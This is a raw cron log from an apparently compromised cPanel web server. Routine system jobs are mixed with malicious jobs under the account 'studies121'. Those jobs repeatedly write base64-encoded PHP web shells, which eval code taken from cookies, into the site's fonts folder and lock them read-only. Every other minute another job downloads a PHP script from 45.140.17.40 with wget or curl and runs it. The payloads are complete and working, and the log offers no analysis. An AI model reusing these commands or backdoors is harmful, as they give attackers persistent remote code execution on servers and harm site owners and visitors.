Aug 30 10:53:01 ip-184-168-122-23 CROND[29022]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 10:54:01 ip-184-168-122-23 CROND[29283]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 10:54:01 ip-184-168-122-23 CROND[29284]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 10:54:01 ip-184-168-122-23 CROND[29287]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 10:54:01 ip-184-168-122-23 CROND[29288]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 10:54:01 ip-184-168-122-23 CROND[29290]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 10:55:01 ip-184-168-122-23 CROND[29637]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 10:55:01 ip-184-168-122-23 CROND[29641]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 10:55:01 ip-184-168-122-23 CROND[29640]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 10:55:01 ip-184-168-122-23 CROND[29642]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 10:55:01 ip-184-168-122-23 CROND[29639]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 10:55:01 ip-184-168-122-23 CROND[29638]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 10:56:01 ip-184-168-122-23 CROND[29893]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 10:56:01 ip-184-168-122-23 CROND[29895]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 10:56:01 ip-184-168-122-23 CROND[29897]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 10:56:01 ip-184-168-122-23 CROND[29896]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 10:56:01 ip-184-168-122-23 CROND[29898]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 10:57:01 ip-184-168-122-23 CROND[30150]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 10:57:01 ip-184-168-122-23 CROND[30152]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 10:57:01 ip-184-168-122-23 CROND[30153]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 10:57:01 ip-184-168-122-23 CROND[30155]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 10:58:01 ip-184-168-122-23 CROND[30428]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 10:58:01 ip-184-168-122-23 CROND[30432]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 10:58:01 ip-184-168-122-23 CROND[30430]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 10:58:01 ip-184-168-122-23 CROND[30431]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 10:58:01 ip-184-168-122-23 CROND[30434]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 10:59:01 ip-184-168-122-23 CROND[30696]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 10:59:01 ip-184-168-122-23 CROND[30698]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 10:59:01 ip-184-168-122-23 CROND[30699]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 10:59:01 ip-184-168-122-23 CROND[30701]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 11:00:01 ip-184-168-122-23 CROND[30957]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 11:00:01 ip-184-168-122-23 CROND[30956]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 11:00:01 ip-184-168-122-23 CROND[30962]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 11:00:01 ip-184-168-122-23 CROND[30964]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 11:00:01 ip-184-168-122-23 CROND[30970]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 11:00:01 ip-184-168-122-23 CROND[30967]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 11:00:01 ip-184-168-122-23 CROND[30968]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 11:00:01 ip-184-168-122-23 CROND[30972]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 11:01:02 ip-184-168-122-23 CROND[31266]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 11:01:02 ip-184-168-122-23 CROND[31267]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 11:01:02 ip-184-168-122-23 CROND[31270]: (root) CMD (run-parts /etc/cron.hourly)
Aug 30 11:01:02 ip-184-168-122-23 CROND[31271]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 11:01:02 ip-184-168-122-23 CROND[31274]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 11:01:02 ip-184-168-122-23 CROND[31275]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 30 11:01:02 ip-184-168-122-23 run-parts(/etc/cron.hourly)[31270]: starting 0anacron
Aug 30 11:01:02 ip-184-168-122-23 run-parts(/etc/cron.hourly)[31289]: finished 0anacron
Aug 30 11:02:01 ip-184-168-122-23 CROND[31533]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 11:02:01 ip-184-168-122-23 CROND[31535]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 11:02:01 ip-184-168-122-23 CROND[31536]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 11:02:01 ip-184-168-122-23 CROND[31537]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 11:02:01 ip-184-168-122-23 CROND[31538]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 11:03:01 ip-184-168-122-23 CROND[31757]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 11:03:01 ip-184-168-122-23 CROND[31759]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 11:03:01 ip-184-168-122-23 CROND[31758]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 11:03:01 ip-184-168-122-23 CROND[31760]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 11:04:01 ip-184-168-122-23 CROND[31972]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 11:04:01 ip-184-168-122-23 CROND[31975]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 11:04:01 ip-184-168-122-23 CROND[31976]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 11:04:01 ip-184-168-122-23 CROND[31974]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 11:04:01 ip-184-168-122-23 CROND[31977]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 11:05:02 ip-184-168-122-23 CROND[32197]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 11:05:02 ip-184-168-122-23 CROND[32199]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 11:05:02 ip-184-168-122-23 CROND[32203]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 11:05:02 ip-184-168-122-23 CROND[32200]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 11:05:02 ip-184-168-122-23 CROND[32202]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 11:05:02 ip-184-168-122-23 CROND[32201]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
